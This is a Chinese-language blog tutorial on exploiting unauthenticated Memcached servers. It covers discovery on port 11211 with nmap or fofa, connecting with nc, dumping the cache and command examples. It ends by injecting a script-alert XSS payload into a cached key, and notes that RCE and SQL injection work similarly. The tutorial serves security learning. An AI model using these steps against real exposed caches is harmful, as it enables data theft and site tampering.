Memcached 未授权漏洞利用

简介: Memcached 未授权漏洞利用

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以开放在外网的Memcache服务很容易被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。
除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。

不同的是,在处理 前端用户直接输入的数据时一般会接受更多的安全校验,而从memcached中读取的数据则更容易被开发者认为是可信的,或者是已经通过安全校验的,因此更容易导致安全问题。

由此可见,导致的二次安全漏洞类型一般 由memcached数据使用的位置(XSS通常称之为sink)的不同而不同, 如:

1) 缓存数据未经过滤直接输出可导致XSS;

(2) 缓存数据 未经过滤代入拼接的SQL注入查询语句可导致SQL注入;

(3) 缓存数据 存储敏感信息(如:用户名、密码),可以通过读取操作直接泄漏;

(4) 缓存数据 未经过滤直接通过system()、eval()等函数处理可导致命令执行;

(5) 缓存数据 未经过滤直接在header()函数中输出,可导致CRLF漏洞(HTTP响应拆分)。

  … …

漏洞利用,文章最后有详细利用方法:

漏洞的利用根据所造成二次漏洞的不同,可在缓存变量中构造相应的payload。

针对memcached未授权访问漏洞缓存数据的抓取,可使用 go-derper工具。

实战

Memcached的默认端口是11211,可以使用nmap -sV或者fofa扫描发现该服务。
image.png

识别到端口后可以直接使用nc进行连接并执行查询命令,查看keys等操作。
image.png

缓存管理命令:
stats 命令的功能正如其名:转储所连接的 memcached 实例的当前统计数据。在下例中,执行 stats 命令显示了关于当前 memcached 实例的信息
flush_all 命令。这个最简单的命令仅用于清理缓存中的所有名称/值对。如果您需要将缓存重置到干净的状态。

基本增删改查命令:set、add、replace、getdelete
set 命令用于向缓存添加新的键值对。如果键已经存在,则之前的值将被替换。
set userId 0 0 5
12345
STORED
仅当缓存中不存在键时,add 命令才会向缓存中添加一个键值对。如果缓存中已经存在键,则之前的值将仍然保持相同,并且您将获得响应 NOT_STORED。
set userId 0 0 5
12345
STORED

add userId 0 0 5
55555
NOT_STORED

add companyId 0 0 3
564
STORED
仅当键已经存在时,replace 命令才会替换缓存中的键。如果缓存中不存在键,那么您将从 memcached 服务器接受到一条 NOT_STORED 响应。
replace accountId 0 0 5
67890
NOT_STORED

set accountId 0 0 5
67890
STORED

replace accountId 0 0 5
55555
STORED
get 命令用于检索与之前添加的键值对相关的值。您将使用 get 执行大多数检索操作。
set userId 0 0 5
12345
STORED

get userId
VALUE userId 0 5
12345
END

get bob
END
最后一个基本命令是 deletedelete 命令用于删除 memcached 中的任何现有值。您将使用一个键调用delete,如果该键存在于缓存中,则删除该值。如果不存在,则返回一条NOT_FOUND 消息。
set userId 0 0 5
98765
STORED

delete bob
NOT_FOUND

delete userId
DELETED

get userId

最后攻击利用方法:

1.比如有个网站会把相关信息缓存到Memcached数据库中

image.png

2.找到相应的键值

image.png

3.插入payload

delete names
set names 0 0 30
"/><script>alert('XSS')</script>
STORED

4.返回网页刷新成功执行,其他RCE、SQL注入等方法大致相同。

image.png

相关文章
|
7月前
|
NoSQL 安全 MongoDB
MongoDB 未授权访问漏洞利用
MongoDB 未授权访问漏洞利用
727 0
|
11月前
|
安全 NoSQL 网络协议
Discuz-ssrf攻击redis getshell(Gopher协议)
不知不觉踏入安全已经有段时间了...这个过程的确很艰辛,很累,随着突发奇想的那一刻,决定了一直走下去,这期间几乎是没日没夜地去学习,忘记了时间,放弃了很多其他事情,学习之路真的不是那么简单,有时候甚至会很迷茫,不知该如何走下去了...
264 0
|
7月前
|
安全 API 数据库
Joomla未授权访问漏洞(CVE-2023-23752)
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
103 1
|
7月前
|
Web App开发 安全 数据安全/隐私保护
JumpServer未授权访问漏洞(CVE-2023-42442)
JumpServer的权限管理存在缺陷,未经授权的远程攻击者可以下载历史会话连接期间的所有操作日志,可导致敏感信息泄漏。
243 1
|
11月前
|
NoSQL 安全 Shell
Redis未授权访问漏洞的利用总结
Redis 默认情况下,会绑定在 0.0.0.0的6379端口上,如果没有设置相关的策略和安全配置,会将 Redis 服务直接暴露在公网上,在没有设置密码认证的情况下,会导致攻击者可以未授权访问 Redis服务读取、甚至是修改 Redis 的数据
289 0
|
安全 关系型数据库 MySQL
Joomla 未授权访问漏洞 CVE-2023-23752
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。 2月16日,Joomla官方发布安全公告,修复了Joomla! CMS中的一个未授权访问漏洞(CVE-2023-23752),目前该漏洞的细节及PoC/EXP已公开。 Joomla! CMS 版本4.0.0 - 4.2.7中由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。
185 0
Joomla 未授权访问漏洞 CVE-2023-23752
|
机器学习/深度学习 移动开发 NoSQL
13 redis未授权访问漏洞
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配致其他用户可以无需认证授权真接访问从而引发重票权限可被操作、数据目录等敏感信息泄察
13 redis未授权访问漏洞
|
存储 缓存 NoSQL
Redis未授权访问漏洞
利用Redis实现攻击的三种方式
Redis未授权访问漏洞
|
NoSQL 安全 网络安全
Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。
3072 0
|
缓存 安全 数据安全/隐私保护
Memcache未授权访问漏洞
  Memcached 分布式缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。 0X00 Memcache安装   1. 下载Mencache的windows稳定版,解压放某个盘下面   2、在cmd命令界面)下输入 'memcached.exe -d install' 进行安装   3、 启动 memcached.exe -d start。
3939 0